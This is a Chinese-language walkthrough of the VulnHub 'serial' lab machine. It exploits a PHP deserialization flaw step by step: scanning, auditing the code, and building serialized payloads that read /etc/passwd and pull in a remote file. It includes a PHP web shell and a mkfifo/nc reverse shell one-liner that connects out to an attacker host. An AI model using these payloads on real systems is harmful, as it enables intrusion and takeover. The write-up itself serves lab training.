反序列化靶机–serial
一、搭建环境
可以去vulhub上下载此靶机:
https://www.vulnhub.com/entry/serial-1,349/
下载好,之后,使用Vmware新建虚拟机打开,步骤如下:
1.首先创建新的虚拟机。
保持现有格式
打开虚拟机,环境配置完成
二、信息收集
1.使用nmap探测主机存活或者使用Kali里的netdicover进行探测。
-PS/-PA/-PU/-PY:这些参数即可以探测主机存活,也可以同时进行端口扫描。(例如:-PS,发送TCP SYN包进行主机探测)
nmap -PS -T4 192.168.30.0/24
访问web服务
F12在网络查看cookie,是一串base64编码。
Tzo0OiJVc2VyIjoyOntzOjEwOiIAVXNlcgBuYW1lIjtzOjM6InNrNCI7czo5OiIAVXNlcgB3ZWwiO086NzoiV2VsY29tZSI6MDp7fX0=
O:4:"User":2:{s:10:"Username";s:3:"sk4";s:9:"Userwel";O:7:"Welcome":0:{}}
用dirsearch扫目录
python3 dirsearch.py -u http://192.168.30.130/
访问目录得出bak.zip
下载压缩后查看代码进行代码审计
经过代码审计可构造payload,尝试读取passwd文件,payload如下
<?php
class Log {
private $type_log='/etc/passwd';
}
class User {
private $name = "admin";
private $wel;
function __construct() {
$this->wel = new Log();
}
}
$obj = new User();
echo base64_encode(serialize($obj));
?>
在web下运行代码得出64比编码后的序列化
Tzo0OiJVc2VyIjoyOntzOjEwOiIAVXNlcgBuYW1lIjtzOjU6ImFkbWluIjtzOjk6IgBVc2VyAHdlbCI7TzozOiJMb2ciOjE6e3M6MTM6IgBMb2cAdHlwZV9sb2ciO3M6MTE6Ii9ldGMvcGFzc3dkIjt9fQ==
抓包在user参数上写序列化的64编码的值
三、获取shell
在本地打开web服务,上传一个txt文件,内容是:<?php system($_GET['cmd']);?>
。
c.txt文件内容:
<?php @system($_GET['cmd']);?>
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传
构造payload,尝试读取web下的c.txt,payload如下
<?php
class Log
{
private $type_log = "http://172.16.3.161/c.txt";
}
class User
{
private $name = "admin";
private $wel;
function __construct()
{
$this->wel = new Log();
}
}
$obj = new User();
echo base64_encode(serialize($obj));
?>
在cmd传参,通过命令获取用户
四、反弹shell
?cmd=rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+172.16.3.161+4444+>/tmp/f
反弹成功
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传